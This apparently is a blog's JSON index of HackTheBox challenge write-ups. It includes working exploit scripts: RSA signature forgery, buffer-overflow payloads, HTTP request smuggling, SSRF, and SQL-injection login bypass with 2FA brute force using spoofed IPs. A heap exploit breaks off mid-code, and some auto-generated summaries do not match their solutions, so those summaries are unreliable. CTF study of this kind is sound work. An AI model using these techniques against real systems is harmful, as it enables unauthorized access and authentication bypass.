writeup.","tags":["htb","crypto","rsa","aes","lattice","ecc","hash"],"title":"HackTheBox LostKey Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Low-Logic-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Low Logic Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-POPO-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto"],"title":"HackTheBox POPO Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Protein-Coockies-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto"],"title":"HackTheBox Protein Coockies Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Quantum-Safe-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","rsa"],"title":"HackTheBox Quantum Safe Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Quick-Maffs-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","lattice"],"title":"HackTheBox Quick Maffs Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-ReMeeting-the-Wheel-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","rsa","aes","hash"],"title":"HackTheBox ReMeeting the Wheel Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-RSAisEasy-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","rsa"],"title":"HackTheBox RSAisEasy Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/641\nDescription After studying about vulnerabilities on signing servers, a group of researchers gathered one night and comitted into creating a modern and more secure way of signing tokens for authentication. They are certain that their product is ready for distribution and want to do a last security audit before publicizing their work. They provided you with access to the server. Is their way of signing messages the solution to all previous attacks?\nExploitation #!/usr/bin/python3 from base64 import b64decode, b64encode from pwn import * from sympy import mod_inverse, factorint import hashlib,string,random,re golden_ratio = 2654435761 admin = \u0026#34;System_Administrator\u0026#34; def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) def extract_base64_token(response): match = re.search(r\u0026#34;Your session token is b\u0026#39;([A-Za-z0-9+/=]+)\u0026#39;\u0026#34;, response) if match: return match.group(1) else: raise ValueError(\u0026#34;Failed to extract Base64 token from response\u0026#34;) def parse_e_n_from_response(response): match = re.search(r\u0026#34;\\(e,N\\) = \\((\\d+),\\s*(\\d+)\\)\u0026#34;, response) if match: return int(match.group(1)), int(match.group(2)) else: raise ValueError(\u0026#34;Failed to parse e and n from response\u0026#34;) def calculate_h_n_from_equations(equations): equation_re = re.compile(r\u0026#34;equation\\(unknown, (\\d+), (\\d+)\\) = (\\d+)\u0026#34;) unknowns = [] for match in equation_re.finditer(equations): rnd = int(match.group(1)) equation_output = int(match.group(3)) inverse_rnd = mod_inverse(rnd, golden_ratio) unknown = (equation_output * inverse_rnd) % golden_ratio unknowns.append(unknown) h_n = 1 for unknown in unknowns: h_n *= unknown return h_n def hash_username(username): numeric_username = int(username.encode().hex(), 16) h = hash_var(numeric_username) return int(h) def hash_var(key): return (((key % golden_ratio) * golden_ratio) \u0026gt;\u0026gt; 32) def reverse_hash_var(hashed): shifted_value = hashed \u0026lt;\u0026lt; 32 for candidate in range(golden_ratio): if (((candidate % golden_ratio) * golden_ratio) \u0026gt;\u0026gt; 32) == hashed: return candidate return None def numeric_to_username(numeric_username): hex_string = format(numeric_username, \u0026#34;x\u0026#34;) if len(hex_string) % 2 != 0: hex_string = \u0026#34;0\u0026#34; + hex_string return bytes.fromhex(hex_string).decode(\u0026#34;utf-8\u0026#34;) def reverse_hash_username(hashed_value): numeric_username = reverse_hash_var(hashed_value) return numeric_to_username(numeric_username) def get_auth_token(username, d, n): numeric_username = int(username.encode().hex(), 16) h = hash_var(numeric_username) auth = pow(int(h), d, n) return b64encode(str(auth).encode()).decode() def get_signature_and_public_key(p, plaintext): p.sendline(b\u0026#34;0\u0026#34;) p.recvuntil(b\u0026#34;Enter a username: \u0026#34;) p.sendline(plaintext.encode()) response = p.recvuntil(b\u0026#34;[+] Option \u0026gt;\u0026gt; \u0026#34;).decode() token_base64 = extract_base64_token(response) p.sendline(b\u0026#34;2\u0026#34;) equations = p.recvuntil(b\u0026#34;Enter the hash(N): \u0026#34;).decode() h_n = calculate_h_n_from_equations(equations) p.sendline(str(h_n).encode()) response = p.recv().decode() e, n = parse_e_n_from_response(response) auth = int(b64decode(token_base64).decode()) return auth, e, n def get_flag(p, auth_token): p.sendline(b\u0026#34;1\u0026#34;) p.recvuntil(b\u0026#34;Enter your username: \u0026#34;) p.sendline(admin.encode()) p.recvuntil(b\u0026#34;Enter your authentication token: \u0026#34;) p.sendline(auth_token.encode()) response = p.recvline().decode() return response def prepare_auth_token(forged_signature): auth_token = b64encode(str(forged_signature).encode()).decode() return auth_token def is_alphanumeric_latin(s): latin_alphanumeric = set(string.ascii_letters + string.digits) return all(char in latin_alphanumeric for char in s) def main(): p = get_process() factors = factorint(hash_username(admin)) ciphers = [] for factor in factors: i = 1 numeric_username = reverse_hash_var(factor) while True: try: uname = numeric_to_username(numeric_username) if not is_alphanumeric_latin(uname): raise break except: numeric_username = numeric_username + (golden_ratio * i) i += 1 cipher, e, n = get_signature_and_public_key(p, uname) ciphers.append(cipher) forged_signature = 1 for cipher in ciphers: forged_signature = (forged_signature * cipher) % n auth_token = prepare_auth_token(forged_signature) response = get_flag(p, auth_token) print(f\u0026#34;Server response: {response}\u0026#34;) p.close() if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Signing Factory: reconstruct the PRNG state from the leak, replay it, and recover the flag.\n","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Signing-Factory-Challenge/","protected":null,"snippet":"Signing Factory: reconstruct the PRNG state from the leak, replay it, and recover the flag.","tags":["htb","crypto","prng","hash"],"title":"HackTheBox Signing Factory Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-The-Last-Dance-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","xor","ecc"],"title":"HackTheBox The Last Dance Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-13T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-XorXorXor-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","aes","xor"],"title":"HackTheBox XorXorXor Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-AI-SPACE-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","ai","sklearn","embeddings","prompt-injection","neural-network"],"title":"HackTheBox AI SPACE Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/673\nDescription As the preparations come to an end, and The Fray draws near each day, our newly established team has started work on refactoring the new CMS application for the competition. However, after some time we noticed that a lot of our work mysteriously has been disappearing! We managed to extract the SSH Logs and the Bash History from our dev server in question. The faction that manages to uncover the perpetrator will have a massive bonus come the competition! Note: Operating Hours of Korp: 0900 - 1900\nSolutions What is the IP Address and Port of the SSH Server (IP:PORT) 100.107.36.130:2221\nThis is confirmed from the SSH logs:\nConnection from 101.111.18.92 port 44711 on 100.107.36.130 port 2221.\nWhat time is the first successful Login 2024-02-13 11:29:50\nWhat is the time of the unusual Login 2024-02-19 04:00:14\nThe login at 04:00 AM is suspicious, as the Korp\u0026rsquo;s operating hours are from 09:00 to 19:00.\nWhat is the Fingerprint of the attacker\u0026rsquo;s public key OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4\nThis fingerprint is found in the logs as:\nECDSA SHA256:OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1.\nWhat is the first command the attacker executed after logging in whoami\nThis is recorded in the bash history:\n[2024-02-19 04:00:18] whoami.\nWhat is the final command the attacker executed before logging out ./setup\nThis is found in the bash history:\n[2024-02-19 04:14:02] ./setup.\nSummary An unusual sighting: isolate the relevant artifact, decode the evidence, and extract the flag.\n","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-An-unusual-sighting-Challenge/","protected":null,"snippet":"An unusual sighting: isolate the relevant artifact, decode the evidence, and extract the flag.","tags":["htb","forensics"],"title":"HackTheBox An unusual sighting Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/546\nDescription Step into the ApacheBlaze universe, a world of arcade clicky games. Rumor has it that by playing certain games, you have the chance to win a grand prize. However, before you can dive into the fun, you\u0026rsquo;ll need to crack a puzzle.\nExploitation curl -X GET \u0026#34;http://94.237.52.43:32237/api/games/click_topia%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/SMUGGLED\u0026#34; Summary ApacheBlaze: identify the broken request handling, prove control, and use it to recover the flag.\n","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-ApacheBlaze-Challenge/","protected":null,"snippet":"ApacheBlaze: identify the broken request handling, prove control, and use it to recover the flag.","tags":["htb","web"],"title":"HackTheBox ApacheBlaze Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Breathtaking-View-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","web","template-injection","rce"],"title":"HackTheBox Breathtaking View Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-DoxPit-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","web","template-injection","ssrf","file-upload","flask"],"title":"HackTheBox DoxPit Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/692\nDescription The team stumbles into a long-abandoned casino. As you enter, the lights and music whir to life, and a staff of robots begin moving around and offering games, while skeletons of prewar patrons are slumped at slot machines. A robotic dealer waves you over and promises great wealth if you can win - can you beat the house and gather funds for the mission?\nExploitation #!/usr/bin/python3 import ctypes from pwn import * libc = ctypes.CDLL(\u0026#39;libc.so.6\u0026#39;) casino = ELF(\u0026#34;./casino\u0026#34;, checksec=False) mapping = {libc.rand(): chr(i) for i in range(255) for _ in [libc.srand(i)]} flag = \u0026#34;\u0026#34;.join([mapping[casino.u32(casino.sym[\u0026#34;check\u0026#34;] + b * 4)] for b in range(30)]) print(flag) Summary FlagCasino: trace the binary, isolate the validation routine, and invert it to recover the flag.\n","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-FlagCasino-Challenge/","protected":null,"snippet":"FlagCasino: trace the binary, isolate the validation routine, and invert it to recover the flag.","tags":["htb","rev","elf","linux"],"title":"HackTheBox FlagCasino Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/461\nDescription Get ready for the last guided challenge and your first real exploit. It\u0026rsquo;s time to show your hacking skills.\nExploitation Compile the vulnerable binary (if not already): gcc -o gs vuln.c -fno-stack-protector -z execstack\n#!/usr/bin/python3 from pwn import * def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) payload = b\u0026#39;A\u0026#39; * 32 + b\u0026#39;B\u0026#39; * 8 p = get_process() print(\u0026#34;[*] Program output before sending payload:\u0026#34;) print(p.recvuntil(b\u0026#39;\u0026gt;\u0026gt;\u0026#39;).decode().strip()) print(\u0026#34;[*] Sending payload...\u0026#34;) p.sendline(payload) print(\u0026#34;[*] Program output after sending payload:\u0026#34;) response = p.recvall().decode().strip() print(response) p.close() Summary Getting Started: calculate the overflow offset, redirect control flow, and land a reliable flag read.\n","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Getting-Started-Challenge/","protected":null,"snippet":"Getting Started: calculate the overflow offset, redirect control flow, and land a reliable flag read.","tags":["htb","pwn","bof","linux"],"title":"HackTheBox Getting Started Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/485\nDescription STOP! Adventurer, have you got an up to date relic hunting license? If you don\u0026rsquo;t, you\u0026rsquo;ll need to take the exam again before you\u0026rsquo;ll be allowed passage into the spacelanes!\nSolutions What is the file format of the executable? elf\nWhat is the CPU architecture of the executable? x86-64\nWhat library is used to read lines for user answers? (ldd may help) libreadline.so.8\nWhat is the address of the main function? 0x401172\nHow many calls to puts are there in main? (using a decompiler may help) 5\nWhat is the first password? PasswordNumeroUno\nWhat is the reversed form of the second password? 0wTdr0wss4P\nWhat is the real second password? P4ssw0rdTw0\nWhat is the XOR key used to encode the third password? 19\nWhat is the third password? ThirdAndFinal!!!\nSummary Hunting License: trace the binary, isolate the validation routine, and invert it to recover the flag.\n","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Hunting-License-Challenge/","protected":null,"snippet":"Hunting License: trace the binary, isolate the validation routine, and invert it to recover the flag.","tags":["htb","rev","elf","xor","linux"],"title":"HackTheBox Hunting License Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Insomnia-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","web","php"],"title":"HackTheBox Insomnia Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-JerryTok-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","ecc"],"title":"HackTheBox JerryTok Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/802\nDescription You\u0026rsquo;ve infiltrated the secret meeting of the demonic cult - they want you to join their summoning circle. But who to link hands with?\nExploitation #!/usr/bin/python3 import subprocess,concurrent.futures,signal,sys,os start_first_addr = 0x00404040 end_first_addr = 0x004042af start_second_addr = 0x00404040 end_second_addr = 0x004042af last_output = None stop_brute_force = False def test_addresses(first_address, second_address): global last_output if stop_brute_force: return input_str = f\u0026#34;{first_address:#x} {second_address:#x}\u0026#34; process = subprocess.Popen(\u0026#39;./link\u0026#39;, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: stdout, stderr = process.communicate(input=input_str.encode()) output_str = stdout.decode().strip() if output_str and (last_output is None or output_str != last_output): print(f\u0026#34;Output for first address {first_address:#x}, second address {second_address:#x}: {output_str}\u0026#34;) last_output = output_str except Exception as e: print(f\u0026#34;Error for {first_address:#x}, {second_address:#x}: {str(e)}\u0026#34;) def signal_handler(sig, frame): global stop_brute_force print(\u0026#34;\\nCtrl+C detected. Forcefully stopping brute force...\u0026#34;) stop_brute_force = True os._exit(1) def brute_force(): with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(test_addresses, first, second) for first in range(start_first_addr, end_first_addr + 1) for second in range(start_second_addr, end_second_addr + 1)] for future in concurrent.futures.as_completed(futures): if stop_brute_force: break signal.signal(signal.SIGINT, signal_handler) print(\u0026#34;Starting brute force for both addresses using multi-threading...\u0026#34;) brute_force() print(\u0026#34;Brute force complete.\u0026#34;) Summary LinkHands: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-LinkHands-Challenge/","protected":null,"snippet":"LinkHands: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox LinkHands Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-NextPath-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","web","path-traversal"],"title":"HackTheBox NextPath Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/570\nDescription Prepare for the finest magic products out there. However, please be aware that we\u0026rsquo;ve implemented a specialized protective spell within our web application to guard against any black magic aimed at our web shop.🔮🎩\nExploitation #!/usr/bin/python3 import concurrent.futures,requests,socket,random,sys,os class TwoFactorCracker: def __init__(self, url): self.url = url self.session = requests.Session() self.count = 0 def check_code(self, code, ip): code_str = f\u0026#39;{code:04d}\u0026#39; headers = { \u0026#39;Host\u0026#39;: self.url.split(\u0026#39;//\u0026#39;)[1].split(\u0026#39;/\u0026#39;)[0], \u0026#39;Referer\u0026#39;: f\u0026#39;{self.url}/auth/verify-2fa\u0026#39;, \u0026#39;Content-Type\u0026#39;: \u0026#39;application/x-www-form-urlencoded\u0026#39;, \u0026#39;Origin\u0026#39;: self.url, \u0026#39;X-Forwarded-For\u0026#39;: ip } try: response = self.session.post( f\u0026#39;{self.url}/auth/verify-2fa\u0026#39;, data={\u0026#39;2fa-code\u0026#39;: code_str}, headers=headers, timeout=5 ) self.count += 1 return code_str, response except Exception: return code_str, None def spoof_ips(self): while True: yield f\u0026#34;{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(0,255)}\u0026#34; def crack(self): if not self._initial_exploit(): return False ips = self.spoof_ips() with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor: futures = [] current_ip = next(ips) for i in range(10000): if i % 20 == 0: current_ip = next(ips) futures.append(executor.submit(self.check_code, i, current_ip)) for future in concurrent.futures.as_completed(futures): code_str, response = future.result() print(f\u0026#34;\\r\\033[2KCompleted: {self.count}/10000\u0026#34;, end=\u0026#39;\u0026#39;, flush=True) if response and \u0026#34;flag\u0026#34; in response.text: print(f\u0026#34;\\nSuccess: {code_str}\u0026#34;) print(response.text) return True if response and response.status_code == 403: print(\u0026#34;\\nAccess denied\u0026#34;) return False return False def _initial_exploit(self): login_url = f\u0026#39;{self.url}/%2f%2f/auth/login\u0026#39; payload = { \u0026#39;username\u0026#39;: \u0026#39;\\\u0026#39; or 1=1 -- -\u0026#39;, \u0026#39;password\u0026#39;: \u0026#39;pass\u0026#39; } headers = {\u0026#39;Content-Type\u0026#39;: \u0026#39;application/x-www-form-urlencoded\u0026#39;} try: login_response = self.session.post(login_url, data=payload, headers=headers) return login_response.status_code == 200 except: return False def main(): if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) url = f\u0026#34;http://{sys.argv[1]}\u0026#34; cracker = TwoFactorCracker(url) cracker.crack() if __name__ == \u0026#34;__main__\u0026#34;: try: main() except KeyboardInterrupt: print(\u0026#34;\\nProcess interrupted by user. Exiting gracefully...\u0026#34;) os._exit(0) Summary No Threshold: identify the broken request handling, prove control, and use it to recover the flag.\n","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-No-Threshold-Challenge/","protected":null,"snippet":"No Threshold: identify the broken request handling, prove control, and use it to recover the flag.","tags":["htb","web"],"title":"HackTheBox No Threshold Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-PDFy-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","web","php"],"title":"HackTheBox PDFy Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Pentest-Notes-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","web","sql-injection","rce"],"title":"HackTheBox Pentest Notes Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-POP-Restaurant-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","web","php"],"title":"HackTheBox POP Restaurant Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/549\nDescription Experience the freedom of the web with ProxyAsAService. Because online privacy and access should be for everyone, everywhere.\nExploitation /?url=reddit.com@0.0.0.0:1337/debug/environment Summary ProxyAsAService: identify the broken request handling, prove control, and use it to recover the flag.\n","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-ProxyAsAService-Challenge/","protected":null,"snippet":"ProxyAsAService: identify the broken request handling, prove control, and use it to recover the flag.","tags":["htb","web"],"title":"HackTheBox ProxyAsAService Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/676\nDescription Luxx, leader of The Phreaks, immerses himself in the depths of his computer, tirelessly pursuing the secrets of a file he obtained accessing an opposing faction member\u0026rsquo;s workstation. With unwavering determination, he scours through data, putting together fragments of information trying to take some advantage on other factions. To get the flag, you need to answer the questions from the docker instance.\nSolutions mft2csv z.mft Set the output path and analyze the resulting CSV file.\nFiles are related to two years, which are those? (for example: 1993,1995) 2023,2024\nThere are some documents, which is the name of the first file written? (for example: randomname.pdf) Final_Annual_Report.xlsx\nWhich file was deleted? (for example: randomname.pdf) Marketing_Plan.xlsx\nHow many of them have been set in Hidden mode? (for example: 43) 1\nWhich is the filename of the important TXT file that was created? (for example: randomname.txt) credentials.txt\nA file was also copied, which is the new filename? (for example: randomname.pdf) Financial_Statement_draft.xlsx\nWhich file was modified after creation? (for example: randomname.pdf) Project_Proposal.pdf\nWhat is the name of the file located at record number 45? (for example: randomname.pdf) Annual_Report.xlsx\nWhat is the size of the file located at record number 40? (for example: 1337) 57344\nSummary Pursue the Tracks: isolate the relevant artifact, decode the evidence, and extract the flag.\n","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Pursue-the-Tracks-Challenge/","protected":null,"snippet":"Pursue the Tracks: isolate the relevant artifact, decode the evidence, and extract the flag.","tags":["htb","forensics"],"title":"HackTheBox Pursue the Tracks Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/460\nDescription It\u0026rsquo;s time to learn some things about binaries and basic c. Connect to a remote server and answer some questions to get the flag.\nSolution Is this a \u0026lsquo;32-bit\u0026rsquo; or \u0026lsquo;64-bit\u0026rsquo; ELF? (e.g. 1337-bit) 64-bit\nWhat\u0026rsquo;s the linking of the binary? (e.g. static, dynamic) dynamic\nIs the binary \u0026lsquo;stripped\u0026rsquo; or \u0026rsquo;not stripped\u0026rsquo;? not stripped\nWhich protections are enabled (Canary, NX, PIE, Fortify)? NX\nWhat is the name of the custom function the gets called inside main()? (e.g. vulnerable_function()) vuln\nWhat is the size of the \u0026lsquo;buffer\u0026rsquo; (in hex or decimal)? 0x20\nWhich custom function is never called? (e.g. vuln()) gg\nWhat is the name of the standard function that could trigger a Buffer Overflow? (e.g. fprintf()) fgets\nInsert 30, then 39, then 40 \u0026lsquo;A\u0026rsquo;s in the program and see the output. After how many bytes a Segmentation Fault occurs (in hex or decimal)? 40\nWhat is the address of \u0026lsquo;gg()\u0026rsquo; in hex? (e.g. 0x401337) 0x401176\nSummary Questionnaire: use the format-string bug for a leak or write, then redirect execution to the flag path.\n","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Questionnaire-Challenge/","protected":null,"snippet":"Questionnaire: use the format-string bug for a leak or write, then redirect execution to the flag path.","tags":["htb","pwn","bof","format-string","canary","linux"],"title":"HackTheBox Questionnaire Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Rhome-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","aes","prng","hash"],"title":"HackTheBox Rhome Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Shamirs-Secret-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","crypto","lattice","shamir"],"title":"HackTheBox Shamir's Secret Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/330\nDescription We are inside D12! We bypassed the scanning system, and now we are right in front of the Admin Panel. The problem is that there are some safety mechanisms enabled so that not everyone can access the admin panel and become the user right below Draeger. Only a few of his intergalactic team members have access there, and they are the mutants that Draeger trusts. Can you disable the mechanisms and take control of the Admin Panel?\nExploitation #!/usr/bin/python3 from pwn import * def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) r = get_process() r.recvrepeat(0.1) r.sendline(b\u0026#34;1\u0026#34;) r.recvrepeat(0.1) payload = b\u0026#34;A\u0026#34; * 56 + b\u0026#34;\\x12\u0026#34; r.sendline(payload) r.interactive() Summary Space Pirate Going Deeper: build the exploit primitive, stabilize the payload, and use it to read the flag.\n","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Space-Pirate-Going-Deeper-Challenge/","protected":null,"snippet":"Space Pirate Going Deeper: build the exploit primitive, stabilize the payload, and use it to read the flag.","tags":["htb","pwn","linux"],"title":"HackTheBox Space Pirate Going Deeper Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/803\nDescription I think my new kitchen is haunted - can you uncover what the ghosts want cooked?\nExploitation #!/usr/bin/python3 from pwn import * import string r = process(\u0026#34;./fryer\u0026#34;) inp = string.printable[:48] r.sendlineafter(b\u0026#34;frying: \u0026#34;, inp.encode()) r.recvuntil(b\u0026#39;`\u0026#39;) scrambled = r.recvline().strip(b\u0026#39;`\\n\u0026#39;).decode() r.recvuntil(b\u0026#39;`\u0026#39;) expected_output = r.recvline().strip(b\u0026#39;`\\n\u0026#39;).decode() flag = [] for char in inp: index_in_scrambled = scrambled.index(char) flag.append(expected_output[index_in_scrambled]) print(\u0026#39;\u0026#39;.join(flag)) Summary Terrorfryer: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2024-12-12T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Terrorfryer-Challenge/","protected":null,"snippet":"Terrorfryer: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox Terrorfryer Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/431\nDescription Our lovely University of Magicians created this application for its students and its purpose is to help organize lecture notes with relative ease. This is the beta version of the app but we trust the elder wizard so much that we already have it running.\nExploitation #!/usr/bin/python3 from pwn import * import sys,concurrent.futures def exploit_process(host, port): def get_process(): return remote(host, port) def new_note(p, size, value): p.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;1\u0026#39;) p.sendlineafter(b\u0026#39;:\u0026#39;, str(size).encode()) p.sendlineafter(b\u0026#39;:\u0026#39;, value) def remove_note(p, idx): p.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;2\u0026#39;) p.sendlineafter(b\u0026#39;:\u0026#39;, str(idx).encode()) def fix_note(p, idx, off, byte): p.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;3\u0026#39;) p.sendlineafter(b\u0026#39;:\u0026#39;, str(idx).encode()) p.sendlineafter(b\u0026#39;:\u0026#39;, str(off).encode()) p.sendlineafter(b\u0026#39;:\u0026#39;, byte) def show_note(p, idx, off): p.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;4\u0026#39;) p.sendlineafter(b\u0026#39;:\u0026#39;, str(idx).encode()) p.sendlineafter(b\u0026#39;:\u0026#39;, str(off).encode()) p.recvuntil(b\u0026#39;Byte: \u0026#39;) b = p.recvline().rstrip() return b try: p = get_process() p.sendlineafter(b\u0026#39;Name: \u0026#39;, b\u0026#39;guest\u0026#39;) p.sendline(b\u0026#39;i\u0026#39;*8) new_note(p, 8176, b\u0026#39;note_0\u0026#39;) for i in range(0, 4): new_note(p, 100, b\u0026#39;ABCD\u0026#39;) for i in range(0, 4): remove_note(p, i+1) log.info(\u0026#39;Set Count to 4\u0026#39;) batch_0 = 0 comment = 0 i = 0 while batch_0 == 0 or comment == 0: if i \u0026gt; 0x10000: p.close() log.error(\u0026#39;Failed! i was exhausted\u0026#39;) return None i += 16 c = show_note(p, 0, i) if c == b\u0026#39;\\x04\u0026#39;: log.success(f\u0026#39;Found Count at i = {i}!\u0026#39;) batch_0 = i + 8 i += 8 elif c == b\u0026#39;i\u0026#39;: log.success(f\u0026#39;Found comment at i = {i}!\u0026#39;) comment = i - 8 if batch_0 \u0026gt; comment: log.error(\u0026#39;Failed: Batch lower in memory than comment\u0026#39;) p.close() return None log.info(\u0026#39;Calculating offset and writing LSB...\u0026#39;) offset = comment - batch_0 idx_count = offset // 8 second_lsb = idx_count \u0026gt;\u0026gt; 8 fix_note(p, 0, batch_0 - 8 + 